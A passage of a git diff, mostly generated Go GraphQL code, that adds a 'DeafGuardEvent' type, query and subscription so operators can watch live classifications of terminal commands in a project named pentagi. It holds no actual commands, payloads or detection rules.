ec.fieldContext_DeafGuardEvent_allowed(ctx, field) + case "mode": + return ec.fieldContext_DeafGuardEvent_mode(ctx, field) + case "reason": + return ec.fieldContext_DeafGuardEvent_reason(ctx, field) + } + return nil, fmt.Errorf("no field named %q was found under type DeafGuardEvent", field.Name) + }, + } + defer func() { + if r := recover(); r != nil { + err = ec.Recover(ctx, r) + ec.Error(ctx, err) + } + }() + ctx = graphql.WithFieldContext(ctx, fc) + if fc.Args, err = ec.field_Query_deafGuardEvents_args(ctx, field.ArgumentMap(ec.Variables)); err != nil { + ec.Error(ctx, err) + return fc, err + } + return fc, nil +} + func (ec *executionContext) _Query_usageStatsTotal(ctx context.Context, field graphql.CollectedField) (ret graphql.Marshaler) { fc, err := ec.fieldContext_Query_usageStatsTotal(ctx, field) if err != nil { @@ -29202,15 +29945,106 @@ func (ec *executionContext) fieldContext_Subscription_assistantLogAdded(ctx cont } }() ctx = graphql.WithFieldContext(ctx, fc) - if fc.Args, err = ec.field_Subscription_assistantLogAdded_args(ctx, field.ArgumentMap(ec.Variables)); err != nil { + if fc.Args, err = ec.field_Subscription_assistantLogAdded_args(ctx, field.ArgumentMap(ec.Variables)); err != nil { + ec.Error(ctx, err) + return fc, err + } + return fc, nil +} + +func (ec *executionContext) _Subscription_assistantLogUpdated(ctx context.Context, field graphql.CollectedField) (ret func(ctx context.Context) graphql.Marshaler) { + fc, err := ec.fieldContext_Subscription_assistantLogUpdated(ctx, field) + if err != nil { + return nil + } + ctx = graphql.WithFieldContext(ctx, fc) + defer func() { + if r := recover(); r != nil { + ec.Error(ctx, ec.Recover(ctx, r)) + ret = nil + } + }() + resTmp, err := ec.ResolverMiddleware(ctx, func(rctx context.Context) (interface{}, error) { + ctx = rctx // use context from middleware stack in children + return ec.resolvers.Subscription().AssistantLogUpdated(rctx, fc.Args["flowId"].(int64)) + }) + if err != nil { + ec.Error(ctx, err) + return nil + } + if resTmp == nil { + if !graphql.HasFieldError(ctx, fc) { + ec.Errorf(ctx, "must not be null") + } + return nil + } + return func(ctx context.Context) graphql.Marshaler { + select { + case res, ok := <-resTmp.(<-chan *model.AssistantLog): + if !ok { + return nil + } + return graphql.WriterFunc(func(w io.Writer) { + w.Write([]byte{'{'}) + graphql.MarshalString(field.Alias).MarshalGQL(w) + w.Write([]byte{':'}) + ec.marshalNAssistantLog2ᚖpentagiᚋpkgᚋgraphᚋmodelᚐAssistantLog(ctx, field.Selections, res).MarshalGQL(w) + w.Write([]byte{'}'}) + }) + case <-ctx.Done(): + return nil + } + } +} + +func (ec *executionContext) fieldContext_Subscription_assistantLogUpdated(ctx context.Context, field graphql.CollectedField) (fc *graphql.FieldContext, err error) { + fc = &graphql.FieldContext{ + Object: "Subscription", + Field: field, + IsMethod: true, + IsResolver: true, + Child: func(ctx context.Context, field graphql.CollectedField) (*graphql.FieldContext, error) { + switch field.Name { + case "id": + return ec.fieldContext_AssistantLog_id(ctx, field) + case "type": + return ec.fieldContext_AssistantLog_type(ctx, field) + case "message": + return ec.fieldContext_AssistantLog_message(ctx, field) + case "thinking": + return ec.fieldContext_AssistantLog_thinking(ctx, field) + case "result": + return ec.fieldContext_AssistantLog_result(ctx, field) + case "resultFormat": + return ec.fieldContext_AssistantLog_resultFormat(ctx, field) + case "appendPart": + return ec.fieldContext_AssistantLog_appendPart(ctx, field) + case "flowId": + return ec.fieldContext_AssistantLog_flowId(ctx, field) + case "assistantId": + return ec.fieldContext_AssistantLog_assistantId(ctx, field) + case "createdAt": + return ec.fieldContext_AssistantLog_createdAt(ctx, field) + } + return nil, fmt.Errorf("no field named %q was found under type AssistantLog", field.Name) + }, + } + defer func() { + if r := recover(); r != nil { + err = ec.Recover(ctx, r) + ec.Error(ctx, err) + } + }() + ctx = graphql.WithFieldContext(ctx, fc) + if fc.Args, err = ec.field_Subscription_assistantLogUpdated_args(ctx, field.ArgumentMap(ec.Variables)); err != nil { ec.Error(ctx, err) return fc, err } return fc, nil } -func (ec *executionContext) _Subscription_assistantLogUpdated(ctx context.Context, field graphql.CollectedField) (ret func(ctx context.Context) graphql.Marshaler) { - fc, err := ec.fieldContext_Subscription_assistantLogUpdated(ctx, field) +func (ec *executionContext) _Subscription_deafGuardEventAdded(ctx context.Context, field graphql.CollectedField) (ret func(ctx context.Context) graphql.Marshaler) { + fc, err := ec.fieldContext_Subscription_deafGuardEventAdded(ctx, field) if err != nil { return nil } @@ -29223,7 +30057,7 @@ func (ec *executionContext) _Subscription_assistantLogUpdated(ctx context.Contex }() resTmp, err := ec.ResolverMiddleware(ctx, func(rctx context.Context) (interface{}, error) { ctx = rctx // use context from middleware stack in children - return ec.resolvers.Subscription().AssistantLogUpdated(rctx, fc.Args["flowId"].(int64)) + return ec.resolvers.Subscription().DeafGuardEventAdded(rctx, fc.Args["flowId"].(int64)) }) if err != nil { ec.Error(ctx, err) @@ -29237,7 +30071,7 @@ func (ec *executionContext) _Subscription_assistantLogUpdated(ctx context.Contex } return func(ctx context.Context) graphql.Marshaler { select { - case res, ok := <-resTmp.(<-chan *model.AssistantLog): + case res, ok := <-resTmp.(<-chan *model.DeafGuardEvent): if !ok { return nil } @@ -29245,7 +30079,7 @@ func (ec *executionContext) _Subscription_assistantLogUpdated(ctx context.Contex w.Write([]byte{'{'}) graphql.MarshalString(field.Alias).MarshalGQL(w) w.Write([]byte{':'}) - ec.marshalNAssistantLog2ᚖpentagiᚋpkgᚋgraphᚋmodelᚐAssistantLog(ctx, field.Selections, res).MarshalGQL(w) + ec.marshalNDeafGuardEvent2ᚖpentagiᚋpkgᚋgraphᚋmodelᚐDeafGuardEvent(ctx, field.Selections, res).MarshalGQL(w) w.Write([]byte{'}'}) }) case <-ctx.Done(): @@ -29254,7 +30088,7 @@ func (ec *executionContext) _Subscription_assistantLogUpdated(ctx context.Contex } } -func (ec *executionContext) fieldContext_Subscription_assistantLogUpdated(ctx context.Context, field graphql.CollectedField) (fc *graphql.FieldContext, err error) { +func (ec *executionContext) fieldContext_Subscription_deafGuardEventAdded(ctx context.Context, field graphql.CollectedField) (fc *graphql.FieldContext, err error) { fc = &graphql.FieldContext{ Object: "Subscription", Field: field, @@ -29263,27 +30097,29 @@ func (ec *executionContext) fieldContext_Subscription_assistantLogUpdated(ctx co Child: func(ctx context.Context, field graphql.CollectedField) (*graphql.FieldContext, error) { switch field.Name { case "id": - return ec.fieldContext_AssistantLog_id(ctx, field) - case "type": - return ec.fieldContext_AssistantLog_type(ctx, field) - case "message": - return ec.fieldContext_AssistantLog_message(ctx, field) - case "thinking": - return ec.fieldContext_AssistantLog_thinking(ctx, field) - case "result": - return ec.fieldContext_AssistantLog_result(ctx, field) - case "resultFormat": - return ec.fieldContext_AssistantLog_resultFormat(ctx, field) - case "appendPart": - return ec.fieldContext_AssistantLog_appendPart(ctx, field) + return ec.fieldContext_DeafGuardEvent_id(ctx, field) case "flowId": - return ec.fieldContext_AssistantLog_flowId(ctx, field) - case "assistantId": - return ec.fieldContext_AssistantLog_assistantId(ctx, field) - case "createdAt": - return ec.fieldContext_AssistantLog_createdAt(ctx, field) + return ec.fieldContext_DeafGuardEvent_flowId(ctx, field) + case "timestamp": + return ec.fieldContext_DeafGuardEvent_timestamp(ctx, field) + case "command": + return ec.fieldContext_DeafGuardEvent_command(ctx, field) + case "category": + return ec.fieldContext_DeafGuardEvent_category(ctx, field) + case "tier": + return ec.fieldContext_DeafGuardEvent_tier(ctx, field) + case "risk": + return ec.fieldContext_DeafGuardEvent_risk(ctx, field) + case "action": + return ec.fieldContext_DeafGuardEvent_action(ctx, field) + case "allowed": + return ec.fieldContext_DeafGuardEvent_allowed(ctx, field) + case "mode": + return ec.fieldContext_DeafGuardEvent_mode(ctx, field) + case "reason": + return ec.fieldContext_DeafGuardEvent_reason(ctx, field) } - return nil, fmt.Errorf("no field named %q was found under type AssistantLog", field.Name) + return nil, fmt.Errorf("no field named %q was found under type DeafGuardEvent", field.Name) }, } defer func() { @@ -29293,7 +30129,7 @@ func (ec *executionContext) fieldContext_Subscription_assistantLogUpdated(ctx co } }() ctx = graphql.WithFieldContext(ctx, fc) - if fc.Args, err = ec.field_Subscription_assistantLogUpdated_args(ctx, field.ArgumentMap(ec.Variables)); err != nil { + if fc.Args, err = ec.field_Subscription_deafGuardEventAdded_args(ctx, field.ArgumentMap(ec.Variables)); err != nil { ec.Error(ctx, err) return fc, err } @@ -38376,54 +39212,267 @@ func (ec *executionContext) _AgentsPrompts(ctx context.Context, sel ast.Selectio return out } -var assistantImplementors = []string{"Assistant"} +var assistantImplementors = []string{"Assistant"} + +func (ec *executionContext) _Assistant(ctx context.Context, sel ast.SelectionSet, obj *model.Assistant) graphql.Marshaler { + fields := graphql.CollectFields(ec.OperationContext, sel, assistantImplementors) + + out := graphql.NewFieldSet(fields) + deferred := make(map[string]*graphql.FieldSet) + for i, field := range fields { + switch field.Name { + case "__typename": + out.Values[i] = graphql.MarshalString("Assistant") + case "id": + out.Values[i] = ec._Assistant_id(ctx, field, obj) + if out.Values[i] == graphql.Null { + out.Invalids++ + } + case "title": + out.Values[i] = ec._Assistant_title(ctx, field, obj) + if out.Values[i] == graphql.Null { + out.Invalids++ + } + case "status": + out.Values[i] = ec._Assistant_status(ctx, field, obj) + if out.Values[i] == graphql.Null { + out.Invalids++ + } + case "provider": + out.Values[i] = ec._Assistant_provider(ctx, field, obj) + if out.Values[i] == graphql.Null { + out.Invalids++ + } + case "flowId": + out.Values[i] = ec._Assistant_flowId(ctx, field, obj) + if out.Values[i] == graphql.Null { + out.Invalids++ + } + case "useAgents": + out.Values[i] = ec._Assistant_useAgents(ctx, field, obj) + if out.Values[i] == graphql.Null { + out.Invalids++ + } + case "createdAt": + out.Values[i] = ec._Assistant_createdAt(ctx, field, obj) + if out.Values[i] == graphql.Null { + out.Invalids++ + } + case "updatedAt": + out.Values[i] = ec._Assistant_updatedAt(ctx, field, obj) + if out.Values[i] == graphql.Null { + out.Invalids++ + } + default: + panic("unknown field " + strconv.Quote(field.Name)) + } + } + out.Dispatch(ctx) + if out.Invalids > 0 { + return graphql.Null + } + + atomic.AddInt32(&ec.deferred, int32(len(deferred))) + + for label, dfs := range deferred { + ec.processDeferredGroup(graphql.DeferredGroup{ + Label: label, + Path: graphql.GetPath(ctx), + FieldSet: dfs, + Context: ctx, + }) + } + + return out +} + +var assistantLogImplementors = []string{"AssistantLog"} + +func (ec *executionContext) _AssistantLog(ctx context.Context, sel ast.SelectionSet, obj *model.AssistantLog) graphql.Marshaler { + fields := graphql.CollectFields(ec.OperationContext, sel, assistantLogImplementors) + + out := graphql.NewFieldSet(fields) + deferred := make(map[string]*graphql.FieldSet) + for i, field := range fields { + switch field.Name { + case "__typename": + out.Values[i] = graphql.MarshalString("AssistantLog") + case "id": + out.Values[i] = ec._AssistantLog_id(ctx, field, obj) + if out.Values[i] == graphql.Null { + out.Invalids++ + } + case "type": + out.Values[i] = ec._AssistantLog_type(ctx, field, obj) + if out.Values[i] == graphql.Null { + out.Invalids++ + } + case "message": + out.Values[i] = ec._AssistantLog_message(ctx, field, obj) + if out.Values[i] == graphql.Null { + out.Invalids++ + } + case "thinking": + out.Values[i] = ec._AssistantLog_thinking(ctx, field, obj) + case "result": + out.Values[i] = ec._AssistantLog_result(ctx, field, obj) + if out.Values[i] == graphql.Null { + out.Invalids++ + } + case "resultFormat": + out.Values[i] = ec._AssistantLog_resultFormat(ctx, field, obj) + if out.Values[i] == graphql.Null { + out.Invalids++ + } + case "appendPart": + out.Values[i] = ec._AssistantLog_appendPart(ctx, field, obj) + if out.Values[i] == graphql.Null { + out.Invalids++ + } + case "flowId": + out.Values[i] = ec._AssistantLog_flowId(ctx, field, obj) + if out.Values[i] == graphql.Null { + out.Invalids++ + } + case "assistantId": + out.Values[i] = ec._AssistantLog_assistantId(ctx, field, obj) + if out.Values[i] == graphql.Null { + out.Invalids++ + } + case "createdAt": + out.Values[i] = ec._AssistantLog_createdAt(ctx, field, obj) + if out.Values[i] == graphql.Null { + out.Invalids++ + } + default: + panic("unknown field " + strconv.Quote(field.Name)) + } + } + out.Dispatch(ctx) + if out.Invalids > 0 { + return graphql.Null + } + + atomic.AddInt32(&ec.deferred, int32(len(deferred))) + + for label, dfs := range deferred { + ec.processDeferredGroup(graphql.DeferredGroup{ + Label: label, + Path: graphql.GetPath(ctx), + FieldSet: dfs, + Context: ctx, + }) + } + + return out +} + +var dailyFlowsStatsImplementors = []string{"DailyFlowsStats"} + +func (ec *executionContext) _DailyFlowsStats(ctx context.Context, sel ast.SelectionSet, obj *model.DailyFlowsStats) graphql.Marshaler { + fields := graphql.CollectFields(ec.OperationContext, sel, dailyFlowsStatsImplementors) + + out := graphql.NewFieldSet(fields) + deferred := make(map[string]*graphql.FieldSet) + for i, field := range fields { + switch field.Name { + case "__typename": + out.Values[i] = graphql.MarshalString("DailyFlowsStats") + case "date": + out.Values[i] = ec._DailyFlowsStats_date(ctx, field, obj) + if out.Values[i] == graphql.Null { + out.Invalids++ + } + case "stats": + out.Values[i] = ec._DailyFlowsStats_stats(ctx, field, obj) + if out.Values[i] == graphql.Null { + out.Invalids++ + } + default: + panic("unknown field " + strconv.Quote(field.Name)) + } + } + out.Dispatch(ctx) + if out.Invalids > 0 { + return graphql.Null + } + + atomic.AddInt32(&ec.deferred, int32(len(deferred))) + + for label, dfs := range deferred { + ec.processDeferredGroup(graphql.DeferredGroup{ + Label: label, + Path: graphql.GetPath(ctx), + FieldSet: dfs, + Context: ctx, + }) + } + + return out +} + +var dailyToolcallsStatsImplementors = []string{"DailyToolcallsStats"} + +func (ec *executionContext) _DailyToolcallsStats(ctx context.Context, sel ast.SelectionSet, obj *model.DailyToolcallsStats) graphql.Marshaler { + fields := graphql.CollectFields(ec.OperationContext, sel, dailyToolcallsStatsImplementors) + + out := graphql.NewFieldSet(fields) + deferred := make(map[string]*graphql.FieldSet) + for i, field := range fields { + switch field.Name { + case "__typename": + out.Values[i] = graphql.MarshalString("DailyToolcallsStats") + case "date": + out.Values[i] = ec._DailyToolcallsStats_date(ctx, field, obj) + if out.Values[i] == graphql.Null { + out.Invalids++ + } + case "stats": + out.Values[i] = ec._DailyToolcallsStats_stats(ctx, field, obj) + if out.Values[i] == graphql.Null { + out.Invalids++ + } + default: + panic("unknown field " + strconv.Quote(field.Name)) + } + } + out.Dispatch(ctx) + if out.Invalids > 0 { + return graphql.Null + } + + atomic.AddInt32(&ec.deferred, int32(len(deferred))) + + for label, dfs := range deferred { + ec.processDeferredGroup(graphql.DeferredGroup{ + Label: label, + Path: graphql.GetPath(ctx), + FieldSet: dfs, + Context: ctx, + }) + } + + return out +} + +var dailyUsageStatsImplementors = []string{"DailyUsageStats"} -func (ec *executionContext) _Assistant(ctx context.Context, sel ast.SelectionSet, obj *model.Assistant) graphql.Marshaler { - fields := graphql.CollectFields(ec.OperationContext, sel, assistantImplementors) +func (ec *executionContext) _DailyUsageStats(ctx context.Context, sel ast.SelectionSet, obj *model.DailyUsageStats) graphql.Marshaler { + fields := graphql.CollectFields(ec.OperationContext, sel, dailyUsageStatsImplementors) out := graphql.NewFieldSet(fields) deferred := make(map[string]*graphql.FieldSet) for i, field := range fields { switch field.Name { case "__typename": - out.Values[i] = graphql.MarshalString("Assistant") - case "id": - out.Values[i] = ec._Assistant_id(ctx, field, obj) - if out.Values[i] == graphql.Null { - out.Invalids++ - } - case "title": - out.Values[i] = ec._Assistant_title(ctx, field, obj) - if out.Values[i] == graphql.Null { - out.Invalids++ - } - case "status": - out.Values[i] = ec._Assistant_status(ctx, field, obj) - if out.Values[i] == graphql.Null { - out.Invalids++ - } - case "provider": - out.Values[i] = ec._Assistant_provider(ctx, field, obj) - if out.Values[i] == graphql.Null { - out.Invalids++ - } - case "flowId": - out.Values[i] = ec._Assistant_flowId(ctx, field, obj) - if out.Values[i] == graphql.Null { - out.Invalids++ - } - case "useAgents": - out.Values[i] = ec._Assistant_useAgents(ctx, field, obj) - if out.Values[i] == graphql.Null { - out.Invalids++ - } - case "createdAt": - out.Values[i] = ec._Assistant_createdAt(ctx, field, obj) + out.Values[i] = graphql.MarshalString("DailyUsageStats") + case "date": + out.Values[i] = ec._DailyUsageStats_date(ctx, field, obj) if out.Values[i] == graphql.Null { out.Invalids++ } - case "updatedAt": - out.Values[i] = ec._Assistant_updatedAt(ctx, field, obj) + case "stats": + out.Values[i] = ec._DailyUsageStats_stats(ctx, field, obj) if out.Values[i] == graphql.Null { out.Invalids++ } @@ -38450,193 +39499,69 @@ func (ec *executionContext) _Assistant(ctx context.Context, sel ast.SelectionSet return out } -var assistantLogImplementors = []string{"AssistantLog"} +var deafGuardEventImplementors = []string{"DeafGuardEvent"} -func (ec *executionContext) _AssistantLog(ctx context.Context, sel ast.SelectionSet, obj *model.AssistantLog) graphql.Marshaler { - fields := graphql.CollectFields(ec.OperationContext, sel, assistantLogImplementors) +func (ec *executionContext) _DeafGuardEvent(ctx context.Context, sel ast.SelectionSet, obj *model.DeafGuardEvent) graphql.Marshaler { + fields := graphql.CollectFields(ec.OperationContext, sel, deafGuardEventImplementors) out := graphql.NewFieldSet(fields) deferred := make(map[string]*graphql.FieldSet) for i, field := range fields { switch field.Name { case "__typename": - out.Values[i] = graphql.MarshalString("AssistantLog") + out.Values[i] = graphql.MarshalString("DeafGuardEvent") case "id": - out.Values[i] = ec._AssistantLog_id(ctx, field, obj) - if out.Values[i] == graphql.Null { - out.Invalids++ - } - case "type": - out.Values[i] = ec._AssistantLog_type(ctx, field, obj) - if out.Values[i] == graphql.Null { - out.Invalids++ - } - case "message": - out.Values[i] = ec._AssistantLog_message(ctx, field, obj) - if out.Values[i] == graphql.Null { - out.Invalids++ - } - case "thinking": - out.Values[i] = ec._AssistantLog_thinking(ctx, field, obj) - case "result": - out.Values[i] = ec._AssistantLog_result(ctx, field, obj) + out.Values[i] = ec._DeafGuardEvent_id(ctx, field, obj) if out.Values[i] == graphql.Null { out.Invalids++ } - case "resultFormat": - out.Values[i] = ec._AssistantLog_resultFormat(ctx, field, obj) + case "flowId": + out.Values[i] = ec._DeafGuardEvent_flowId(ctx, field, obj) if out.Values[i] == graphql.Null { out.Invalids++ } - case "appendPart": - out.Values[i] = ec._AssistantLog_appendPart(ctx, field, obj) + case "timestamp": + out.Values[i] = ec._DeafGuardEvent_timestamp(ctx, field, obj) if out.Values[i] == graphql.Null { out.Invalids++ } - case "flowId": - out.Values[i] = ec._AssistantLog_flowId(ctx, field, obj) + case "command": + out.Values[i] = ec._DeafGuardEvent_command(ctx, field, obj) if out.Values[i] == graphql.Null { out.Invalids++ } - case "assistantId": - out.Values[i] = ec._AssistantLog_assistantId(ctx, field, obj) + case "category": + out.Values[i] = ec._DeafGuardEvent_category(ctx, field, obj) if out.Values[i] == graphql.Null { out.Invalids++ } - case "createdAt": - out.Values[i] = ec._AssistantLog_createdAt(ctx, field, obj) + case "tier": + out.Values[i] = ec._DeafGuardEvent_tier(ctx, field, obj) if out.Values[i] == graphql.Null { out.Invalids++ } - default: - panic("unknown field " + strconv.Quote(field.Name)) - } - } - out.Dispatch(ctx) - if out.Invalids > 0 { - return graphql.Null - } - - atomic.AddInt32(&ec.deferred, int32(len(deferred))) - - for label, dfs := range deferred { - ec.processDeferredGroup(graphql.DeferredGroup{ - Label: label, - Path: graphql.GetPath(ctx), - FieldSet: dfs, - Context: ctx, - }) - } - - return out -} - -var dailyFlowsStatsImplementors = []string{"DailyFlowsStats"} - -func (ec *executionContext) _DailyFlowsStats(ctx context.Context, sel ast.SelectionSet, obj *model.DailyFlowsStats) graphql.Marshaler { - fields := graphql.CollectFields(ec.OperationContext, sel, dailyFlowsStatsImplementors) - - out := graphql.NewFieldSet(fields) - deferred := make(map[string]*graphql.FieldSet) - for i, field := range fields { - switch field.Name { - case "__typename": - out.Values[i] = graphql.MarshalString("DailyFlowsStats") - case "date": - out.Values[i] = ec._DailyFlowsStats_date(ctx, field, obj) + case "risk": + out.Values[i] = ec._DeafGuardEvent_risk(ctx, field, obj) if out.Values[i] == graphql.Null { out.Invalids++ } - case "stats": - out.Values[i] = ec._DailyFlowsStats_stats(ctx, field, obj) - if out.Values[i] == graphql.Null { - out.Invalids++ - } - default: - panic("unknown field " + strconv.Quote(field.Name)) - } - } - out.Dispatch(ctx) - if out.Invalids > 0 { - return graphql.Null - } - - atomic.AddInt32(&ec.deferred, int32(len(deferred))) - - for label, dfs := range deferred { - ec.processDeferredGroup(graphql.DeferredGroup{ - Label: label, - Path: graphql.GetPath(ctx), - FieldSet: dfs, - Context: ctx, - }) - } - - return out -} - -var dailyToolcallsStatsImplementors = []string{"DailyToolcallsStats"} - -func (ec *executionContext) _DailyToolcallsStats(ctx context.Context, sel ast.SelectionSet, obj *model.DailyToolcallsStats) graphql.Marshaler { - fields := graphql.CollectFields(ec.OperationContext, sel, dailyToolcallsStatsImplementors) - - out := graphql.NewFieldSet(fields) - deferred := make(map[string]*graphql.FieldSet) - for i, field := range fields { - switch field.Name { - case "__typename": - out.Values[i] = graphql.MarshalString("DailyToolcallsStats") - case "date": - out.Values[i] = ec._DailyToolcallsStats_date(ctx, field, obj) + case "action": + out.Values[i] = ec._DeafGuardEvent_action(ctx, field, obj) if out.Values[i] == graphql.Null { out.Invalids++ } - case "stats": - out.Values[i] = ec._DailyToolcallsStats_stats(ctx, field, obj) + case "allowed": + out.Values[i] = ec._DeafGuardEvent_allowed(ctx, field, obj) if out.Values[i] == graphql.Null { out.Invalids++ } - default: - panic("unknown field " + strconv.Quote(field.Name)) - } - } - out.Dispatch(ctx) - if out.Invalids > 0 { - return graphql.Null - } - - atomic.AddInt32(&ec.deferred, int32(len(deferred))) - - for label, dfs := range deferred { - ec.processDeferredGroup(graphql.DeferredGroup{ - Label: label, - Path: graphql.GetPath(ctx), - FieldSet: dfs, - Context: ctx, - }) - } - - return out -} - -var dailyUsageStatsImplementors = []string{"DailyUsageStats"} - -func (ec *executionContext) _DailyUsageStats(ctx context.Context, sel ast.SelectionSet, obj *model.DailyUsageStats) graphql.Marshaler { - fields := graphql.CollectFields(ec.OperationContext, sel, dailyUsageStatsImplementors) - - out := graphql.NewFieldSet(fields) - deferred := make(map[string]*graphql.FieldSet) - for i, field := range fields { - switch field.Name { - case "__typename": - out.Values[i] = graphql.MarshalString("DailyUsageStats") - case "date": - out.Values[i] = ec._DailyUsageStats_date(ctx, field, obj) + case "mode": + out.Values[i] = ec._DeafGuardEvent_mode(ctx, field, obj) if out.Values[i] == graphql.Null { out.Invalids++ } - case "stats": - out.Values[i] = ec._DailyUsageStats_stats(ctx, field, obj) + case "reason": + out.Values[i] = ec._DeafGuardEvent_reason(ctx, field, obj) if out.Values[i] == graphql.Null { out.Invalids++ } @@ -40842,6 +41767,25 @@ func (ec *executionContext) _Query(ctx context.Context, sel ast.SelectionSet) gr func(ctx context.Context) graphql.Marshaler { return innerFunc(ctx, out) }) } + out.Concurrently(i, func(ctx context.Context) graphql.Marshaler { return rrm(innerCtx) }) + case "deafGuardEvents": + field := field + + innerFunc := func(ctx context.Context, _ *graphql.FieldSet) (res graphql.Marshaler) { + defer func() { + if r := recover(); r != nil { + ec.Error(ctx, ec.Recover(ctx, r)) + } + }() + res = ec._Query_deafGuardEvents(ctx, field) + return res + } + + rrm := func(ctx context.Context) graphql.Marshaler { + return ec.OperationContext.RootResolverMiddleware(ctx, + func(ctx context.Context) graphql.Marshaler { return innerFunc(ctx, out) }) + } + out.Concurrently(i, func(ctx context.Context) graphql.Marshaler { return rrm(innerCtx) }) case "usageStatsTotal": field := field @@ -41808,6 +42752,8 @@ func (ec *executionContext) _Subscription(ctx context.Context, sel ast.Selection return ec._Subscription_assistantLogAdded(ctx, fields[0]) case "assistantLogUpdated": return ec._Subscription_assistantLogUpdated(ctx, fields[0]) + case "deafGuardEventAdded": + return ec._Subscription_deafGuardEventAdded(ctx, fields[0]) case "providerCreated": return ec._Subscription_providerCreated(ctx, fields[0]) case "providerUpdated": @@ -43699,6 +44645,20 @@ func (ec *executionContext) marshalNDailyUsageStats2ᚖpentagiᚋpkgᚋgraphᚋm return ec._DailyUsageStats(ctx, sel, v) } +func (ec *executionContext) marshalNDeafGuardEvent2pentagiᚋpkgᚋgraphᚋmodelᚐDeafGuardEvent(ctx context.Context, sel ast.SelectionSet, v model.DeafGuardEvent) graphql.Marshaler { + return ec._DeafGuardEvent(ctx, sel, &v) +} + +func (ec *executionContext) marshalNDeafGuardEvent2ᚖpentagiᚋpkgᚋgraphᚋmodelᚐDeafGuardEvent(ctx context.Context, sel ast.SelectionSet, v *model.DeafGuardEvent) graphql.Marshaler { + if v == nil { + if !graphql.HasFieldError(ctx, graphql.GetFieldContext(ctx)) { + ec.Errorf(ctx, "the requested element is null which the schema does not allow") + } + return graphql.Null + } + return ec._DeafGuardEvent(ctx, sel, v) +} + func (ec *executionContext) marshalNDefaultPrompt2ᚖpentagiᚋpkgᚋgraphᚋmodelᚐDefaultPrompt(ctx context.Context, sel ast.SelectionSet, v *model.DefaultPrompt) graphql.Marshaler { if v == nil { if !graphql.HasFieldError(ctx, graphql.GetFieldContext(ctx)) { @@ -45640,6 +46600,53 @@ func (ec *executionContext) marshalOBoolean2ᚖbool(ctx context.Context, sel ast return res } +func (ec *executionContext) marshalODeafGuardEvent2ᚕᚖpentagiᚋpkgᚋgraphᚋmodelᚐDeafGuardEventᚄ(ctx context.Context, sel ast.SelectionSet, v []*model.DeafGuardEvent) graphql.Marshaler { + if v == nil { + return graphql.Null + } + ret := make(graphql.Array, len(v)) + var wg sync.WaitGroup + isLen1 := len(v) == 1 + if !isLen1 { + wg.Add(len(v)) + } + for i := range v { + i := i + fc := &graphql.FieldContext{ + Index: &i, + Result: &v[i], + } + ctx := graphql.WithFieldContext(ctx, fc) + f := func(i int) { + defer func() { + if r := recover(); r != nil { + ec.Error(ctx, ec.Recover(ctx, r)) + ret = nil + } + }() + if !isLen1 { + defer wg.Done() + } + ret[i] = ec.marshalNDeafGuardEvent2ᚖpentagiᚋpkgᚋgraphᚋmodelᚐDeafGuardEvent(ctx, sel, v[i]) + } + if isLen1 { + f(i) + } else { + go f(i) + } + + } + wg.Wait() + + for _, e := range ret { + if e == graphql.Null { + return graphql.Null + } + } + + return ret +} + func (ec *executionContext) unmarshalOFloat2ᚖfloat64(ctx context.Context, v interface{}) (*float64, error) { if v == nil { return nil, nil diff --git a/backend/pkg/graph/model/models_gen.go b/backend/pkg/graph/model/models_gen.go index 37872d2b1..3319011ca 100644 --- a/backend/pkg/graph/model/models_gen.go +++ b/backend/pkg/graph/model/models_gen.go @@ -177,6 +177,20 @@ type DailyUsageStats struct { Stats *UsageStats `json:"stats"` } +type DeafGuardEvent struct { + ID int64 `json:"id"` + FlowID int64 `json:"flowId"` + Timestamp int `json:"timestamp"` + Command string `json:"command"` + Category string `json:"category"` + Tier int `json:"tier"` + Risk string `json:"risk"` + Action string `json:"action"` + Allowed bool `json:"allowed"` + Mode string `json:"mode"` + Reason string `json:"reason"` +} + type DefaultPrompt struct { Type PromptType `json:"type"` Template string `json:"template"` diff --git a/backend/pkg/graph/schema.graphqls b/backend/pkg/graph/schema.graphqls index 863d70115..ca59c753e 100644 --- a/backend/pkg/graph/schema.graphqls +++ b/backend/pkg/graph/schema.graphqls @@ -387,6 +387,24 @@ type ToolCallLog { updatedAt: Time! } +# DeafGuardEvent is emitted for every terminal command classification made +# by the Deaf Guard. It is NOT persisted to the database — this is a pure +# pub/sub event surfaced for operator visibility. Events observed before a +# client subscribes are not replayed. +type DeafGuardEvent { + id: ID! + flowId: ID! + timestamp: Int! + command: String! + category: String! + tier: Int! + risk: String! + action: String! + allowed: Boolean! + mode: String! + reason: String! +} + type Screenshot { id: ID! flowId: ID! @@ -1006,6 +1024,11 @@ type Query { vectorStoreLogs(flowId: ID!): [VectorStoreLog!] toolCallLogs(flowId: ID!): [ToolCallLog!] assistantLogs(flowId: ID!, assistantId: ID!): [AssistantLog!] + # Deaf Guard classification events are not persisted; this query always + # returns an empty list. It exists so the Apollo cache on the frontend + # has a field to append live subscription events to, mirroring the + # pattern used by terminalLogs/agentLogs/etc. + deafGuardEvents(flowId: ID!): [DeafGuardEvent!] # Usage statistics and analytics usageStatsTotal: UsageStats! @@ -1135,6 +1158,7 @@ type Subscription { toolCallLogUpdated(flowId: ID!): ToolCallLog! assistantLogAdded(flowId: ID!): AssistantLog! assistantLogUpdated(flowId: ID!): AssistantLog! + deafGuardEventAdded(flowId: ID!): DeafGuardEvent! # Provider events providerCreated: ProviderConfig! diff --git a/backend/pkg/graph/schema.resolvers.go b/backend/pkg/graph/schema.resolvers.go index 90a84c95d..b02bfe995 100644 --- a/backend/pkg/graph/schema.resolvers.go +++ b/backend/pkg/graph/schema.resolvers.go @@ -1612,6 +1612,23 @@ func (r *queryResolver) AssistantLogs(ctx context.Context, flowID int64, assista return converter.ConvertAssistantLogs(logs), nil } +// DeafGuardEvents is the resolver for the deafGuardEvents field. +func (r *queryResolver) DeafGuardEvents(ctx context.Context, flowID int64) ([]*model.DeafGuardEvent, error) { + // Deaf Guard classification events are published live via the + // deafGuardEventAdded subscription and held only in the client-side + // Apollo cache for the duration of the session. Nothing is persisted + // server-side today, so the initial query response is always empty. + // The query still exists so the frontend can cache-write incoming + // subscription events onto a real server-declared field, mirroring + // the terminalLogs/agentLogs pattern. Permission reuses + // termlogs.subscribe — see the DeafGuardEventAdded resolver for why. + if _, err := validatePermissionWithFlowID(ctx, "termlogs.subscribe", flowID, r.DB); err != nil { + return nil, err + } + + return []*model.DeafGuardEvent{}, nil +} + // UsageStatsTotal is the resolver for the usageStatsTotal field. func (r *queryResolver) UsageStatsTotal(ctx context.Context) (*model.UsageStats, error) { uid, _, err := validatePermission(ctx, "usage.view") @@ 